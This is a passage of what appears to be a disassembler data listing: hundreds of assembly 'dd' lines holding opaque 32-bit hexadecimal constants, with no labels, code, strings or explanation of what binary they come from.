		dd 30EC6078h, 2F3C008Ch, 91A19BE6h, 51E97342h, 6040E2FCh
		dd 0D02F06C6h, 1DF09AA8h, 803511C8h, 8E96189Ch,	4C8D1359h
		dd 7A908893h, 43988197h, 30252798h, 0DA38752Fh,	0FBE8842Ch
		dd 0ADC028E8h, 0AA936046h, 0FABC90B7h, 0F889820Ah, 8AD77868h
		dd 5C9BDC0Eh, 18ACD327h, 663F6180h, 8F7531E5h, 85459A00h
		dd 8CCE0B89h, 0B9F0BC27h, 0A49DEDADh, 1D811991h, 0DB38F632h
		dd 1F885109h, 3BB81FA5h, 649C0746h, 0B600EBEDh,	4CC5D22Ah
		dd 2EA5F80Eh, 0F0B2374h, 0EFEA24B3h, 0AF428298h, 0C0561108h
		dd 7CC01388h, 5C035746h, 163F08DAh, 5E1AC90Eh, 0F971C0BCh
		dd 0F1ACED29h, 0FC93DCE4h, 102995ABh, 989FBC87h, 9B3D843Dh
		dd 0EF00AAC3h, 0CCB7FD2Bh, 1499DD4Eh, 239C7C0Ah, 0F385BA00h
		dd 6BCB63Eh, 1AA56104h,	0FA1F684Fh, 0F06E2747h,	0F162C42h
		dd 88C04B51h, 1F738F65h, 2726D99Dh, 4E91D497h, 7B725280h
		dd 5D72B1A4h, 5FCF9A0Bh, 407AE2h, 7C8EC6A2h, 45D90F5Bh
		dd 209CF100h, 0A5A31D06h, 985ED88Fh, 0EB2591C2h, 11941761h
		dd 6E788034h, 6083EA48h, 319819C3h, 0AC014BDAh,	0BE8424FBh
		dd 6E9F80h, 44DFEADCh, 70B61494h, 9E0CB9Eh, 0DA4CBED9h
		dd 657380E4h, 2D3B4B01h, 5A17ED94h, 14B496CCh, 989AC610h
		dd 18C52E8h, 88ABCD50h,	7A602231h, 1923DC3Ah, 0ADC2A00h
		dd 954B8043h, 0E9EF3400h, 0EA720985h, 28933D28h, 5B4899F4h
		dd 0E89B4E30h, 98DC9C89h, 90012210h, 3964948Fh,	0BC283C0Fh
		dd 6D178C56h, 0B4F5E0FAh, 5401FCh, 0EE41DD8Dh, 373F677Ah
		dd 78B2A00h, 8666041Ah,	0DB8F0B9Ah, 843DEA89h, 13CB6400h
		dd 1F2CD5Ah, 97D25DB9h,	0C7A0EDDCh, 0D77137D0h,	2C4290B8h
		dd 2849A425h, 93884872h, 0B0599F09h, 0EF298071h, 1E37F6h
		dd 679B4B09h, 0A2ACF14Dh, 35BD0C90h, 382286FCh,	0AC87E03Bh
		dd 19605244h, 79019563h, 80411AEDh, 8D2FA6D7h, 0AC282834h
		dd 10148C34h, 228C95EDh, 0A4641CC7h, 0A7739355h, 0A758426Ch
		dd 5C43C078h, 0FA1DE9CFh, 0E2817917h, 0A7803E81h, 9D966824h
		dd 33116C35h, 958B7880h, 0BD13CCABh, 0BC015B26h, 45EDC01h
		dd 40F3D030h, 3D11AACBh, 1401E298h, 8BDD3E8h, 3C402E82h
		dd 0D45B3C6Dh, 0DA620E78h, 0CE82FCEDh, 30794379h, 73184DD9h
		dd 3DD27200h, 0AE2CF46Ah, 2CB490F1h, 425C3B74h,	82033783h
		dd 0BE8902C1h, 1B464C0Eh, 1E1C140h, 3FFC73FAh, 2050169Dh
		dd 140B648Eh, 78576041h, 94019704h, 206C9742h, 4FB7B14h
		dd 400830AFh, 8DE09A23h, 191C2107h, 89D1B97Bh, 0EFD0976Ah
		dd 2CE29538h, 0A93F4D40h, 434BD9DCh, 14E0E8F8h,	1A0A42Ah
		dd 0F2EC286Ah, 0E2EBB7ACh, 0F1B48957h, 1803D990h, 3A89000Bh
		dd 9D1EE383h, 109DAD0Eh, 36CB70h, 0B3381229h, 0FE7CE216h
		dd 2066E900h, 4BA891DEh, 4032F759h, 1C54F400h, 1DF43E6h
		dd 0AF3AF300h, 0F728B565h, 0EE92F219h, 80715009h, 26610193h
		dd 0A48CDDEAh, 28C0993Ah, 886A94D0h, 0FB2597D0h, 11A0E537h
		dd 0DDEF067Ah, 1F877F1h, 3FE76264h, 0F0FA3971h,	95C4ACh
		dd 0A3FB3BB0h, 8F8498Fh, 59EBE302h, 0B0A45049h,	0F994859Ch
		dd 9C804BBCh, 7502D52Bh, 0BCA46Fh, 0A2C16891h, 234B9230h
		dd 4EDAF75h, 0BC8C12EFh, 0DF92C130h, 0F0070D20h, 0B1ED682Eh
		dd 54DBEF0Dh, 0B8816021h, 8F755B92h, 3C80521Ch,	9081A4F6h
		dd 0B398BEADh, 0E284173Eh, 23900C8h, 4B24E951h,	25E00E29h
		dd 81401E8Ah
		dd 6FE8C8CEh, 0FB602312h, 0EA88FC40h, 0C0113CCBh, 2CB9C659h
		dd 0D800BF15h, 5DBE35E0h, 0A15AE238h, 216E1488h, 12987A0h
		dd 80501182h, 0C1AF9823h, 0D4DF9091h, 0A4E18102h, 9AE6D349h
		dd 2AD0E9E2h, 0C788718Ah, 9CCC0114h, 3F3DFBBFh,	367C6C91h
		dd 23639D00h, 1D4104FCh, 0E1E4992Bh, 4C3B6E3Dh,	0AD163023h
		dd 15BE5503h, 2D41A80Ch, 9017B89Fh, 8844A134h, 42585ED2h
		dd 0A255CF90h, 893093E4h, 7898F39Ch, 7A03C039h,	45B98986h
		dd 0B8E8E508h, 1080068Fh, 0EB2507A3h, 35F02327h, 0FD378214h
		dd 0F3855306h, 51C4020Ah, 684166FEh, 3DC717E3h,	0CE0B0391h
		dd 646E2Eh, 0DC742F9Fh,	5D4AF2CFh, 0D9B87C3Ch, 70F87D07h
		dd 0E84CEB39h, 80465F99h, 0EA6AD670h, 68435927h, 608E1680h
		dd 48AD41ABh, 0E006B44Ah, 2117D2AFh, 4BDC7A19h,	0C74C023Ch
		dd 0EC642A15h, 10D0E34Eh, 2C98F35Bh, 0BA01299h,	0CC638097h
		dd 9834AF8Ch, 5DE0ACB6h, 0ACB07286h, 14133F70h,	1CB2C424h
		dd 0A27710h, 9289DDD5h,	0C98BA422h, 7474DC08h, 111064BAh
		dd 70D46EBEh, 5D697F00h, 0F2667871h, 4EEFECE2h,	0C84C8BE1h
		dd 0AC40C04Dh, 24F239F7h, 0B956A509h, 91507B25h, 2241050Dh
		dd 0C420AA42h, 8016188Ch, 642D9790h, 64F0E77Eh,	93566057h
		dd 70289801h, 32ED0119h, 0A792E8A8h, 34C26B3Bh,	0E22C5E24h
		dd 0F109181Ch, 0A0F6001Ch, 2B444A5Eh, 46832E24h, 4204542Ch
		dd 0B482F70Eh, 1943211Eh, 0B579306Ch, 0A248BF00h, 39B879ECh
		dd 124000FDh, 0D7E6D9Ah, 0ED3C2BEFh, 710C9291h,	0DA1B4BCh
		dd 1BD800A6h, 891D67E3h, 983930A5h, 370B9F45h, 9E150B8h
		dd 442C7180h, 20A257BBh, 5B3022F2h, 83C20BF7h, 740278FCh
		dd 0C70519B8h, 5EB824BDh, 3BFCA300h, 38DD5B25h,	8C10959Ch
		dd 0B00040B7h, 0EFD2CFA1h, 3F4784Ch, 9AD5F631h,	77B8ABEDh
		dd 0DE3EEC73h, 4B1ECCF0h, 0EB290802h, 591Bh, 0E7A6019Ch
		dd 5C00D48Dh, 347558E0h, 5A7A9CEh, 357DF14Fh, 2804AB83h
		dd 0F121AF8h, 4B911B6Ch, 1ADD4C92h, 0D1CE1065h,	0F0B7C487h
		dd 0AC0F6AB3h, 417BA602h, 7B452798h, 0FF72D0CCh, 16EF6200h
		dd 0ABC9FCA8h, 7A1404E9h, 0F0AFA7EAh, 6D4F08A0h, 310178A2h
		dd 8126EB77h, 61E03E5Ch, 0AD2F02A0h, 92C1F014h,	304C7062h
		dd 0B4D8F20h, 7C4775E4h, 0A45644ABh, 41FD00DCh,	50C41958h
		dd 3A7C178Dh, 0F13E80B8h, 0D0DAA559h, 7CB17C0Ch, 0F8ED00F4h
		dd 7A12E0C4h, 0A3CD8D7h, 0E9717C6Ah, 37AC715Ch,	8D01181Bh
		dd 1080BDC0h, 720CE2CDh, 1405DC97h, 0DE52D40h, 0A4E2D817h
		dd 24301EF2h, 209CB85Eh, 3F22116Ch, 0A504120Eh,	0D10C822Dh
		dd 0A161E856h, 13E44277h, 2595004Dh, 3B66AD21h,	86034A03h
		dd 298A332Dh, 0B8715891h, 0D7DDFBC0h, 1EECF2Bh,	0CB656877h
		dd 4F114E0h, 0E5F0C32Ah, 0CD66E801h, 0E0D3DE6Bh, 7289606Ch
		dd 0B793859h, 162FFA18h, 5108EA8Fh, 0FDC900A0h,	964B1F99h
		dd 0C291524h, 5FC24345h, 5A98564Ch, 4AD4FCD6h, 0B8EE81Fh
		dd 5C18BCDFh, 947125CCh, 4723DC01h, 0C60028C4h,	0C85AF073h
		dd 37A040E7h, 67B869FFh, 2F93F107h, 82C9B98Ah, 4186FFCh
		dd 0B017BADCh, 2DA06CF7h, 0C31D764Dh, 0AA56854Ah, 90CBA820h
		dd 12444A0Fh, 9B8E200h,	0A29B8041h, 90DF1404h, 37681BC0h
		dd 0A7315177h, 4C71C9D3h, 0A182FD9h, 23B2D412h,	0A033510Eh
		dd 0BFFC2F7Bh, 2E0BA8Bh, 4416C422h, 4C6ABE93h, 0F4847Ch
		dd 79E17E14h, 923F9E57h, 21173C30h, 731F370h, 6033C9DEh
		dd 8250D00Fh, 2327C361h, 0D1C4F904h, 1361821h, 0EB6AA75Eh
		dd 0FCCC3F1Ch, 0D05ACF93h, 7DB4ECC2h, 0E3111810h, 790088FCh
		dd 0A346E95Dh, 1266641Ah, 0E6B43854h, 0FE20E0D8h, 35EC049Eh
		dd 0EA5474BBh, 0A443C1Eh, 0F0E9BF26h, 7163B200h, 6E3E146Fh
		dd 14B0CC4Bh, 7C8002DBh, 4EF9013h, 0D1256456h, 68448014h
		dd 1AD03938h, 624D412Fh, 0F45062B4h, 5F48FB4h, 0C20F9F2Fh
		dd 0F0D0F617h, 781E5E15h, 0AE9A00D7h, 8D0B5B49h, 0FB122768h
		dd 0D0ACC43Bh, 0CE37009Ch, 5EEB1184h, 0DA308F5Ch, 5EBC7421h
		dd 0CD3A5646h, 0BB884305h, 5E44ED7Eh, 16CADC43h, 9D319689h
		dd 0BAC064EDh, 0C732C9h, 6AE92BDAh, 0C27A446Bh,	5C657329h
		dd 881855D9h, 0A3435925h, 8CA7FA04h, 0A5081EFAh, 985660E7h
		dd 208904C0h, 0D03B83AFh, 95658218h, 3D00D971h,	0AD2BCE98h
		dd 0F422EC39h, 0E0F51806h, 0C279F10Ah, 0DC00C4F4h, 80DF6A83h
		dd 0C817F3h, 82B4E0F8h,	46977D0Ch, 22046C9Dh, 3F4C7F47h
		dd 68D3800Ch, 34E656h, 0D821503Eh, 0E32A068Bh, 808CDD13h
		dd 0D808A8C4h, 77F7805Fh, 0AE5C84E7h, 4ABFEF1Ch, 0C0258EC2h
		dd 0E47C5E46h, 0E96A44B7h, 923C31BAh, 0F0B4F060h, 88E41D5Bh
		dd 0DCC040EBh, 29D69471h, 887430A8h, 72688C3h, 918ECC5Eh
		dd 0AA0CC068h, 950524CAh, 55915817h, 0BC18478Bh, 3B01C4B8h
		dd 278EFD5h, 32FD209h, 83A4910Ch, 3A1658A8h, 921764F8h
		dd 0C120B51h, 0C71CB4BCh, 5F4B0EDCh, 9CB60253h,	0C69FF47h
		dd 2C302B0Ah, 5758E93h,	0F8D705C6h, 6C7AEBF2h, 1055790Eh
		dd 6C977BE1h, 0AC9C2E19h, 0CAC10DCh, 0B144A32Fh, 712E37B0h
		dd 6DBF22E0h, 7CE34EA8h, 1C471A7Ch, 0E8561805h,	0C000CD2Dh
		dd 1D0F4487h, 0F08C7627h, 90FB07ACh, 0B440EE11h, 2AD7046Bh
		dd 5588A4CEh, 588154C4h, 280123F4h, 5171F897h, 0CD976498h
		dd 0BE62C030h, 0F313718Fh, 88949940h, 6546EFFh,	290F9D42h
		dd 1441E06Ch, 0A4AAF04Fh, 8C2FE8h, 13547C61h, 7780F15h
		dd 1A013102h, 7DC65B46h, 52DB8A2h, 11F8B557h, 0EB95802Fh
		dd 50FC458h, 3D54E7C6h,	97D8C13Bh, 4FD86D36h, 8076B8E5h
		dd 5010EFE3h, 191C3D2Bh, 35C4448Dh, 28BC78h, 5D17364Bh
		dd 49BC1524h, 9284A430h, 0ADC884EFh, 7E2B17B4h,	1DB248B3h
		dd 78AE8330h, 80045881h, 6B21403Eh, 56FC6710h, 0C332028Ch
		dd 0A6B398C0h, 0F1831CFEh, 755E73D7h, 0D37129h,	0A3DF89DAh
		dd 0E124F8ACh, 5423472Eh, 0DCE9151Dh, 0D405982Ch, 8430CA9Eh
		dd 122BB58Ah, 0F373712Ch, 0BA400238h, 6CD40F29h, 53B490BCh
		dd 0E44AE07Fh, 4713EAF8h, 0C0D13F27h, 25022E50h, 12E86A07h
		dd 0B038E660h, 0B0911993h, 80E91278h, 0B2E4E669h, 0E72300Fh
		dd 0B0FC6D07h, 0B9EDA612h, 90FC802Bh, 0A7223A8Ch, 0B18A000Ch
		dd 71041059h, 3599885h,	0DB052720h, 5660D84Ch, 82448000h
		dd 3CA5F2FFh, 0ECE2958Ch, 7CB7DFh, 6DBE394Bh, 0EB1D1D44h
		dd 984362B7h, 0C29024D8h, 587C7B61h, 42014DB5h,	0E7313AE6h
		dd 6ED4C245h, 0B7231661h, 0EECF8E4h, 42A9BC16h,	0DE589B98h
		dd 23467608h, 0B6D25900h, 0A23B43EBh, 0E35E88E6h, 80D5E8C3h
		dd 4A209D91h, 0B270B322h, 0BA4A301Ch, 62EAF500h, 0F3750833h
		dd 0D49D95F0h, 2C803611h, 31F68F8Dh, 0CC00C15Eh, 0ED60663Dh
		dd 169B011Dh, 0BB98BF5Bh, 2EB02137h, 0F7802CDBh, 0D203418Eh
		dd 468C4409h, 8947C67h,	0D7052488h, 0B8ACB391h,	7A08E24Fh
		dd 0B6248109h, 0D3A2002Dh, 0B3FA104h, 0C51FD965h, 78598389h
		dd 33184CD9h, 0D6A87E00h, 0E0594F5Ch, 14DF0541h, 0FB0335C1h
		dd 323DC3Ah, 0CDE77600h, 128267E3h, 0C83079D0h,	0A2004AF8h
		dd 0FD6FFAFCh, 982B41BAh, 80F05538h, 0C890CB3Fh, 7F00C908h
		dd 0F010F793h, 0BF098198h, 0D9CF8A90h, 181CD9D8h, 0CDE21F04h
		dd 825B4520h, 76C44039h
		dd 0D9563134h, 0ADBA9200h, 1737489Eh, 0FFB600EEh, 15E00506h
		dd 0C225EAE8h, 97DC7B89h, 0F6A856FCh, 0FE98E084h, 8EE8038Dh
		dd 0F9A3D15h, 8480B14Eh, 2D09BCB6h, 0AC172560h,	0A3802391h
		dd 5787228h, 8D0C4402h,	0D7C41C16h, 0F4CFB083h,	416B098Ch
		dd 0ED93D7Ch, 0C9ED4040h, 7A1502E5h, 0F1E6264h,	0A6048050h
		dd 4449A726h, 9A9474EAh, 3F61C024h, 3A3C4025h, 9008E21Ch
		dd 85077DCBh, 80C3FD91h, 6D302F58h, 4B0E50A0h, 375B4130h
		dd 0F3A024B7h, 0D9026C24h, 3D0A7E54h, 67F456A4h, 2C3EA870h
		dd 0BC602C9Eh, 7E926494h, 59A40077h, 8291F360h,	817E44DFh
		dd 50E6875Fh, 6E7969F0h, 30910A00h, 9C0DA82Dh, 1AC7259Fh
		dd 68CB2881h, 2F5068B3h, 144495h, 5CF98B7Ch, 7433664Dh
		dd 0E1BC5D0Ah, 5605D81Ah, 20E2BA4Ch, 3B300BF2h,	914501B9h
		dd 0B244169Eh, 64352F67h, 3FB918BDh, 0C82B8C99h, 3C7F8A9Ch
		dd 1D13AC1Dh, 28F19F93h, 203FF4h, 0B0DF38BFh, 0DE15C7F5h
		dd 96E0A097h, 7E09EB4Ch, 644C9795h, 7461C0Bh, 0E2587424h
		dd 64D405BDh, 68F70E3Ah, 6CAD52FAh, 0BA7F6EBCh,	161B5F16h
		dd 0E7884CE9h, 0D23A4B80h, 40E3E19h, 98C3AAB5h,	440FEF93h
		dd 0B43CF6Fh, 69506077h, 68C30D3Bh, 0EC104B9Bh,	0E6254D11h
		dd 4600D236h, 0A37317F3h, 5A03B8D0h, 5D240043h,	659A20A2h
		dd 911649A4h, 58BC6D98h, 0C4974381h, 24203F12h,	60C380BEh
		dd 824A707Fh, 651692C7h, 0FCAC4459h, 0C0C39782h, 0A0D50703h
		dd 4EE9ECh, 0BEE131B2h,	8E9B914Ch, 48DABF02h, 230C3C24h
		dd 0FAC4EF90h, 0F798B046h, 4A927CF9h, 91E000A4h, 7C9B17B0h
		dd 0A14A9A05h, 4BA4641h, 0AF02924Ch, 825DEC48h,	11A4ACDCh
		dd 81383C02h, 126CDF34h, 36E3D00h, 24EB250Eh, 442A8914h
		dd 12003A0h, 5DE77849h,	5007882Eh, 8EB08D0Bh, 70C688Ch
		dd 491FBE1Ch, 1150B45Eh, 0D0E581AEh, 1A443C75h,	61370E17h
		dd 85E0DC8Ch, 0FD862659h, 0B90231FCh, 0BE142E9h, 0E07AE3h
		dd 581D3998h, 635B345Dh, 8F001FE2h, 0C604ABDAh,	25B82920h
		dd 501D61E5h, 7B801E11h, 7C8F43AAh, 9C02889Ch, 52303747h
		dd 0A46C44FCh, 3904D00h, 0E1F3EA86h, 0E3A0C61Fh, 618A915h
		dd 0D762CBF6h, 0DFA603F7h, 7BF18711h, 8F7749A8h, 0F0DDC012h
		dd 3A26CCBCh, 26326190h, 0CE286467h, 0A59F6098h, 0A824F11Ch
		dd 8D8888ABh, 2F322600h, 0FCDCC53h, 169C00A3h, 7FAF706Ah
		dd 173E9BE4h, 1B4CC64h,	0F94AFBDAh, 49929009h, 0DD3CF3CAh
		dd 850F8C29h, 2B92C0ACh, 1EB41A0h, 29619199h, 0E8ADF287h
		dd 6701A35Ah, 30DF936Fh, 8D6E68F8h, 0D3883828h,	0CB0078F2h
		dd 0E690F7B5h, 7EC0752Fh, 0EC68DE2Bh, 0B971892h, 0BF2230C5h
		dd 0FC384C2Eh, 0D9BEE443h, 894EA08h, 0CA745C90h, 12DCDD10h
		dd 0C03EAAF0h, 2F250E23h, 8360A224h, 4498DC5Fh,	0A7EA44F0h
		dd 29A0E3C6h, 3A493B1h,	32A34612h, 79DE1825h, 33C70228h
		dd 0B8DEF4EEh, 87A4640Eh, 5D06989h, 5E60BE8Bh, 7420209Bh
		dd 2F846B02h, 3879C7ACh, 441850D9h, 12E6D63Bh, 0E4952515h
		dd 29148C82h, 0DF40A856h, 512536Ah, 0B7661ED4h,	60CF820Ch
		dd 24549957h, 791AFE02h, 1834590Ch, 0F21800F8h,	0FADC918Bh
		dd 0E5B51A4Ah, 0EB808B8h, 1AB66200h, 2A93D1D8h,	5A8C0CF7h
		dd 6BE4B16Ah, 0AFA5A080h, 0A01B6998h, 2303D456h, 2D43FF88h
		dd 5C781350h, 9885EF4Eh, 0BEB84CB9h, 0D0E81516h, 0C4919C1Eh
		dd 0A993D0Ah, 405D44A4h, 210E9EFEh, 6F90725h, 0C1D3A048h
		dd 0C144DDEAh, 0CE72A29h, 9AD774A2h, 40B7F774h,	1079D24h
		dd 0E86050ABh, 52BEC62h, 5813F2FDh, 0FC588847h,	32DFA710h
		dd 9441717Ah, 90652F54h, 806002E4h, 0E6749BFDh,	0DB70B216h
		dd 0A2A79804h, 79E9EF00h, 0AA02F043h, 71385462h, 807E57h
		dd 7F2EEB48h, 0FF2FFE1Bh, 61C8ED3Ch, 2AF1DD61h,	2CA23474h
		dd 7D3053B2h, 0EB780497h, 0FF372D1Bh, 852ACC30h, 97DA1202h
		dd 0D6E4B94Ah, 4EC8A8CAh, 3E70EBC0h, 0A9F00003h, 0CC7E7D44h
		dd 809FC7E0h, 0CB47F27Ch, 0F8969525h, 4398CDB7h, 1C89AF0Eh
		dd 0F856DE43h, 14EDE264h, 0A36513h, 38BF59ADh, 0EE0017E9h
		dd 7E0BD823h, 4B90189Eh, 0E4A8803Bh, 92166A0Ah,	544407BFh
		dd 0CA404058h, 332215C4h, 100A30A1h, 0E05F8Dh, 0A8EAB6E8h
		dd 718E67D3h, 9D006979h, 0B126BBA1h, 95C473F3h,	747CF4CAh
		dd 413E00F4h, 0F5D50982h, 8D008BDBh, 56BF6787h,	9791A295h
		dd 90435410h, 0B45AAB2Eh, 44A9A096h, 6A009CB8h,	511E507Fh
		dd 3759E824h, 10F91F41h, 158EE31h, 926D70C1h, 823E5747h
		dd 1466DC74h, 0E7202898h, 4221737h, 0B9D0F91Bh,	1C4C1E8h
		dd 99BBE2Ch, 0EC441663h, 0D82ED7B5h, 2860AC11h,	0A57114h
		dd 40C2247Dh, 8D1F5B1h,	3ED71F00h, 1EBF7D9h, 0D4E0B56Dh
		dd 361FA78Dh, 0EAD27213h, 9C1423AAh, 0C1679D0h,	17484107h
		dd 0BB491Fh, 7BDE3075h,	0ECEE1F3Bh, 934D752h, 5CFCB462h
		dd 98BC25DCh, 3159307Bh, 21011518h, 0CAEBCF26h,	0D88E1A02h
		dd 99C0D538h, 659D3B54h, 0EF006273h, 1D291B48h,	9F393018h
		dd 0B5C0D0EDh, 28D594h,	0CB4BB38Ch, 90B2B98Ah, 9811C99h
		dd 45736021h, 4B274024h, 0C834E137h, 88289197h,	5911DC7Bh
		dd 0B9051BBCh, 1EFEFD45h, 0C46A84CCh, 2528ECE5h, 0D60456F0h
		dd 0AF0D4100h, 3C803474h, 0E0DCF8B1h, 0FA0C1F8Dh, 0CF60CB0Ah
		dd 7D010858h, 4D4A910Bh, 0B4365AD5h, 0CE790900h, 62640DE5h
		dd 6B30D004h, 6CF6F0C4h, 95AA41E0h, 0E044301h, 7EEF8019h
		dd 0C4DC1400h, 491818BDh, 0F016972Fh, 4E0C195Ch, 25E40091h
		dd 2030DC2Bh, 0F8E949D6h, 0A100EEB8h, 3A5054D8h, 0C04873C1h
		dd 4D955879h, 3E3C7ADAh, 0C5652514h, 0B0D19090h, 0B3AD715h
		dd 0E9273BA5h, 0BB59A074h, 7A4D190Bh, 21A02229h, 0B2EF518h
		dd 0B074CBB4h, 80A0792Dh, 928BDC0Ah, 70BEBFA7h,	0DCD47425h
		dd 0ACDD9D09h, 2574DECCh, 12440871h, 0B64EE4FCh, 0B282E37Ch
		dd 10945769h, 1817404Ah, 5DB8F8FDh, 9C0D4401h, 7C19492Ch
		dd 0A649D2Ah, 0C01C8854h, 0F98135DFh, 0A81E64B8h, 0F0DECE6Bh
		dd 66253326h, 9C97B5DCh, 0D860B91h, 0CD1C50C7h,	9784EB23h
		dd 60B92724h, 50E8E0D0h, 0CEBE008Ch, 0E102FFA9h, 0AAF824C5h
		dd 8C16CA12h, 4982CCA4h, 871F7C3Ah, 0AFEAC0A7h,	0AE9C8A11h
		dd 7D009FF2h, 0AB8F1F43h, 0D61488B7h, 0A8888598h, 5FAD8040h
		dd 0F54B4C0h, 168C3ACh,	0BF760801h, 0F43DCC14h,	71939112h
		dd 259C10F4h, 0D879C3A7h, 4BC2344h, 8044ECD7h, 262BEA4Fh
		dd 0F4B51522h, 9828C29h, 0B06498C3h, 402FCCB8h,	91AC1D1Ah
		dd 0AB418002h, 76BA71F1h, 231C0B6Fh, 40404B98h,	86252092h
		dd 0F4407E27h, 0B57E7500h, 0BC387850h, 8CDD0946h, 347B2B1Ch
		dd 0C08C6DAFh, 0ACF1DF40h, 2293F902h, 57354B1Bh, 426BC480h
		dd 0E797489Ah, 6031444Ch, 212D2D0h, 0CCBD807Ch,	407282C0h
		dd 8033C13Eh, 39CB32F4h, 32E5F3Eh, 7F380192h, 0C2C8456Dh
		dd 9713A3BFh, 0A0F427DCh, 0F6B9C059h, 9608F8D1h, 90B00D00h
		dd 751DD032h, 641C055Dh, 0CE2A1A93h, 0C4028828h, 586CF6BEh
		dd 4AE13930h, 1DC8648Eh, 0C0DF88C0h, 16E89E34h,	7B38A18Bh
		dd 0B5FCC8h, 9D7AC0D5h,	4D5D2DC8h, 520E6900h, 85D28BD3h
		dd 0BB4727FAh, 6F442448h, 8AC0A4Bh, 258C09ECh, 185022F2h
		dd 2383797h, 0A096160Fh
		dd 340824D9h, 0B4732D2Eh, 0E8185759h, 0FB084E6h, 0E52F6B25h
		dd 0CCD3A590h, 0AE4F50h, 31025ADAh, 0BBC2F674h,	79A17230h
		dd 2EF537h, 0FEC16198h,	0C22C918Ah, 26BF09Ch, 15F8718h
		dd 6ACDDD9Fh, 89CE18C0h, 0F8B59FF0h, 0EA62DA87h, 2BE01F70h
		dd 507662BFh, 40FC3FD1h, 7DE48A80h, 0ECCE279h, 0B7D633FAh
		dd 1B8FF422h, 8200455h,	23B46BAFh, 792D0E1Ch, 3A02BA13h
		dd 60C412B5h, 97F028A4h, 0C84008EFh, 2DDC5241h,	34D966F4h
		dd 4B483047h, 4050685Bh, 41D70720h, 0BFF1DA2Ch,	8DF9321h
		dd 3C8B2E14h, 0A1CCA64Bh, 4BC05B1Ch, 78C42756h,	923C0446h
		dd 3408ABF7h, 0CAB29001h, 8428E388h, 5200204Fh,	0D1001BB3h
		dd 5845D8BFh, 5BAE4E7Dh, 2104B789h, 1435A709h, 206F1207h
		dd 0D3004C67h, 1C0987h,	0D7E92A8Dh, 778F9256h, 0EC0C2D59h
		dd 629700CFh, 507FBBCCh, 0C3020161h, 0E0B8524Bh, 0B6856CBh
		dd 0F4749C7Eh, 0B776A58h, 0C4AFA307h, 90486C5Ch, 0FF144641h
		dd 0ED087FCh, 991F2338h, 0BA947204h, 0ACDD0C01h, 706437E4h
		dd 50ED9F4Bh, 0C0089EC0h, 0E1AE12A3h, 0A8EF091Eh, 12B0D479h
		dd 21E932h, 41B9BA74h, 9AD72CC3h, 91E017BFh, 3498824Dh
		dd 2217C08Ah, 0B0943012h, 4BA79248h, 0C42C089Fh, 48B72Dh
		dd 0B17F0B44h, 653C6E3Ah, 8F340ADFh, 0A7059080h, 65BA2EB3h
		dd 0A894F990h, 0FC2F0440h, 0AEDA6C7Ah, 90E70020h, 0FA450051h
		dd 0ED6389A6h, 1A16DC36h, 0B8B8C26Dh, 0BCF8A94Bh, 7B4B24ECh
		dd 8C792D91h, 4284071Eh, 40C55362h, 146EBFh, 9F5470B5h
		dd 952115D6h, 7D1124E6h, 0DE8357FBh, 8789A7BCh,	0F01876C4h
		dd 399A0EC5h, 0A8263F9h, 0F380BEF8h, 9BC82277h,	0D6885661h
		dd 554E5202h, 820F03FFh, 291A7FF0h, 7734B957h, 1BC0D869h
		dd 0E551D37Ch, 86191113h, 34D9C900h, 3EF305F6h,	3C8022BEh
		dd 45B9D4C8h, 0E497D76Dh, 0BD511678h, 0D1F30538h, 85D8B859h
		dd 0C88A1A7Bh, 0BDCC885Eh, 0CE354E00h, 4B79855Ah, 1520064h
		dd 98B49EA6h, 0EF269177h, 6D84A00Ch, 40BC673Ch,	1FD401E3h
		dd 50402426h, 0BB51081h, 0F0C2D0FFh, 46091C37h,	0A5287901h
		dd 2140DC50h, 0A8E29519h, 254377Dh, 1A4376D3h, 0E8CD91E0h
		dd 0E58104BEh, 4C9265AEh, 4B9C66F4h, 0FEF4952Fh, 0B81CD06Eh
		dd 2DD7281Fh, 0E879D4BDh, 45D0DC8Fh, 9CBD3C05h,	0E0CC2BADh
		dd 0DC31042Ah, 0EA68CA89h, 0D4DB5094h, 0FA20C7C4h, 69ADD005h
		dd 0B4A7A483h, 0AC7C7204h, 0AF44095Ch, 1E60F88Ch, 12220A77h
		dd 396C4070h, 269559FAh, 433B6E0Eh, 38F07368h, 3D0B09C1h
		dd 9C740D9Ah, 2883F784h, 812888AEh, 2CC8C897h, 46E21CE7h
		dd 1F36006Ah, 0DD1B968Dh, 15C6790Ch, 4A93126h, 0F63B6441h
		dd 5AA4B8A8h, 0C084ECE1h, 0AF1CE146h, 97234C07h, 1610C139h
		dd 4185ABD9h, 0F85F1EB2h, 8041C330h, 0AF10E0Fh,	58FBCCCEh
		dd 0CF9154E0h, 10CB6070h, 0FCDC44E3h, 0D84058C9h, 0C183F10h
		dd 2110E314h, 0A5CB00C7h, 2C439290h, 6609E168h,	12D33F1h
		dd 278C471Ch, 0A1E4D26Bh, 8A256501h, 68604421h,	9733024Fh
		dd 5A1B903Eh, 8BDEA04h,	909D4122h, 0EE64A0h, 0F03E6E2Fh
		dd 1D74CBEDh, 7C992A01h, 0AD53FE37h, 0E060033Ah, 0C13D0ADBh
		dd 60409291h, 9006ECE9h, 0E81CD0DFh, 2D62643Eh,	1104D199h
		dd 0D8925EFFh, 41A424Fh, 78C1CC18h, 220034BBh, 3840B0B7h
		dd 0DF910CC7h, 4A281A88h, 0BAC3E0Ch, 1CAB9E3h, 0C530BF90h
		dd 78100F39h, 268317A8h, 9E24F8D0h, 9DC14BF7h, 0BCC038E0h
		dd 35008C08h, 419391D6h, 9D3B4320h, 0B4B32C78h,	0F7478h
		dd 3FCC0B56h, 129DF7B3h, 7F681B09h, 0B08704Fh, 979CCF8Bh
		dd 0AD920CFCh, 0C85E38E2h, 78000D50h, 7B31FF22h, 2377092h
		dd 3471AB0Fh, 37FFF87Ch, 0C99D0720h, 10ACD229h,	0EA9FBC81h
		dd 94F02A48h, 0A2BD55h,	0B57D61B6h, 807C8EC8h, 0AEA255C0h
		dd 3A901569h, 0E2247490h, 51AF2C4Fh, 182F796Ch,	0E588007Fh
		dd 0A835FE09h, 0FF0B915Fh, 40778F9Ch, 0BF425E20h, 9F609CEFh
		dd 3A1A2580h, 3BA740CBh, 0EE3A1002h, 41F020DDh,	845D7388h
		dd 0D41496h, 0BC43969Eh, 0ACC9FF0Dh, 7C840A5Bh,	9C08CB8h
		dd 0AA636043h, 958A68C7h, 625BBF52h, 56945C66h,	7CED3C4Bh
		dd 0B4001FACh, 0FD0177BEh, 5DCF0F4h, 15963A8Eh,	4060BBA9h
		dd 0EA92AEh, 0D0FE346Ch, 16856EBEh, 21528A31h, 203BCE09h
